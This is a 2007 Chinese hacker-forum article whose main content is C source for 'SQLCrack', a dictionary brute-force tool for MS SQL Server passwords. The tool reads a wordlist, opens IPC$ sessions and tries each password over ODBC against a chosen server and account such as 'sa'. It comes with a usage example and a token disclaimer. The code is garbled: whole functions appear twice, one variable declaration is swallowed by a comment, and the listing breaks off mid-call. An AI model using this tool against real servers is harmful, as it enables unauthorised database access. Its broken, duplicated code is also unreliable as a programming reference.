| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  看看黑客如何破解MS SQL SERCVER密码          【字体:
看看黑客如何破解MS SQL SERCVER密码
作者:不详    文章来源:CnXHacker.Net    点击数:    更新时间:2007-4-29    
此程序只作技术交流之用,如用于不法用途,作者不负任何责任!! 】

这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。

  //程序所用到的头文件

  //定义全局变量

  char dict[20000][40],//准备探测的密码

  UserName[40],//用户名

  target[40],//目标服务器

  passwd[40];//已经探测出来的正确密码

  int total=0;//字典里面单词数量

  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE

  //

  //函数:usage

  //功能:显示程序帮助信息

  //

  void usage()

  {

  printf("\nPower by analyzer〈

[email]inmiao@163.com[/email]

〉"

  "\nhttp://www.infocn.com"

  "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"

  "\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n");return; 

  }

  //

  //函数:ReadDic

  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码

  //说明:函数运行失败返回值1,成功返回0

  //

  int ReadDic(char *dic)

  {

  FILE *fp;

  char tmp[40];

  //打开字典文件

  if((fp=fopen(dic,"r"))==NULL)

  {

  printf("\nCan't open %s",dic);

  return 1;

  }

  while(!feof(fp))

  {

  //读取数据到临时变量

  if(fgets(tmp,40,fp)==NULL)

  break;

  //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了

  strncpy(dict[total],tmp,strlen(tmp)-1);

  total++; 

//因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环

  //不然就会溢出啦.可以自行调准

  if(total〉=20000)

  break;

  }

  fclose(fp);

  return 0;

  }

  //

  //函数:ConnIPC

  //功能:建立IPC连接

  //说明:连接失败返回值1,成功返回值0

  //

  int ConnIPC(char *RemoteName)

  {

  NETRESOURCE nr;

  DWORD flags=CONNECT_UPDATE_PROFILE;

  TCHAR RN[30]="",

  LN[5]="";

  strcat(RN,RemoteName);

  strcat(RN,"\ipc$");

  //填充数据结构

  nr.dwType=RESOURCETYPE_DISK;

  nr.lpLocalName=(LPTSTR)&LN;

  nr.lpRemoteName=(LPTSTR)&RN;

  nr.lpProvider=NULL;

  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)

  {

 return 0; 

  }

  else

  {

  return 1;

  }

  }

  //

  //函数:DelIPC

  //功能:断开IPC Session

  //说明:成功返回值0,否则返回1

  //

  int DelIPC(char *RemoteName)

  {

  DWORD ret;

  TCHAR lpName[30]="";

  strcat(lpName,RemoteName);

  strcat(lpName,"\ipc$");

  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);

  if(ret==NO_ERROR)

  {

  return 0;

  }

  else

  {

  return 1;

  }

  }

  //

  //函数SQLCheck

  //功能:尝试用不同密码连接SQL Server,探测出正确的密码

  //

  DWORD WINAPI SQLCheck(PVOID pPwd)

  {

  //定义局部变量

  char szBuffer[1025];

  char *pwd;

  SWORD swStrLen;

  SQLHDBC hdbc;

  SQLHANDLE henv;

  SQLRETURN retcode;//ODBC API运行返回值SCHAR ConnStr[200];//连接数据库字符串 

  //取得传递过来准备探测的密码

  pwd=(char *)pPwd;

  //构造连接数据库字符

  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");

  strcat(ConnStr,target);

  strcat(ConnStr,";UID=");

  strcat(ConnStr,UserName);

  strcat(ConnStr,";PWD=");

  strcat(ConnStr,pwd);

  strcat(ConnStr,";DATABASE=master");

  //puts(ConnStr);

  //创建数据库应用的环境句柄

  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)

  {

  printf("\nAllocate environment handle failed.\n");

  return 0;

  }

  //printf("henv..");

  //设置ODBC版本环境

  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)

  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)

  {

  printf("\nSet the ODBC version environment attribute failed.\n");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("ODBC ver..");

  //创建连接句柄

  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR

  *)&hdbc)) != SQL_SUCCESS)

  {

  printf("\nAllocate connection handle failed.\n");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("hdbc..");

  //连接数据源

  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof

(szBuffer),&swStrLen, 

  SQL_DRIVER_COMPLETE_REQUIRED);

  //printf("conn..");

  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)

  {

  //连接失败,函数终止

  //printf("\nCouldn't connect to %s MSSQL server.\n",target);

  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //连接远程MSSQL Server数据库成功

  Cracked=TRUE;

  strcpy(passwd,pwd);

  //puts(szBuffer);

  //显示连接远程数据库的字符串

  //断开连接

  SQLDisconnect(hdbc);

  //printf("disconn..");

  //释放连接句柄

  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);

  //printf("free hdbc..");

  //释放环境句柄

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  //printf("free henv..\n");

  return 0;

  }

  //

  //函数:DelIPC

  //功能:断开IPC Session

  //说明:成功返回值0,否则返回1

  //

  int DelIPC(char *RemoteName)

  {

  DWORD ret;

  TCHAR lpName[30]="";

  strcat(lpName,RemoteName);

  strcat(lpName,"\ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,

TRUE); 

  if(ret==NO_ERROR)

  {

  return 0;

  }

  else

  {

  return 1;

  }

  }

  //

  //函数SQLCheck

  //功能:尝试用不同密码连接SQL Server,探测出正确的密码

  //

  DWORD WINAPI SQLCheck(PVOID pPwd)

  {

  //定义局部变量

  char szBuffer[1025];

  char *pwd;

  SWORD swStrLen;

  SQLHDBC hdbc;

  SQLHANDLE henv;

  SQLRETURN retcode;//ODBC API运行返回值

  SCHAR ConnStr[200];//连接数据库字符串

  //取得传递过来准备探测的密码

  pwd=(char *)pPwd;

  //构造连接数据库字符

  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");

  strcat(ConnStr,target);

  strcat(ConnStr,";UID=");

  strcat(ConnStr,UserName);

  strcat(ConnStr,";PWD=");

  strcat(ConnStr,pwd);

  strcat(ConnStr,";DATABASE=master");

  //puts(ConnStr);

  //创建数据库应用的环境句柄

  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS){ 

  printf("\nAllocate environment handle failed.\n");

  return 0;

  }

  //printf("henv..");

  //设置ODBC版本环境

  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)

  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)

  {

  printf("\nSet the ODBC version environment attribute failed.\n");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("ODBC ver..");

  //创建连接句柄

  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR

  *)&hdbc)) != SQL_SUCCESS)

  {

  printf("\nAllocate connection handle failed.\n");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("hdbc..");

  //连接数据源

  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),

  szBuffer,sizeof(szBuffer),&

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    美国最大黑客盗窃案 美国密情
    微软推新计划打击黑客帮助安
    无ARP欺骗的嗅探技术
    赛门铁克:谨防黑客借奥运发
    瑞星公司07月03日发布 每日计
    黑客入侵花旗银行ATM 窃取用
    XSS漏洞另一个攻击趋势
    “伪颗粒”变种后台秘密监视
    灰鸽子变种NH远程控制用户偷
    06月27日病毒播报
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.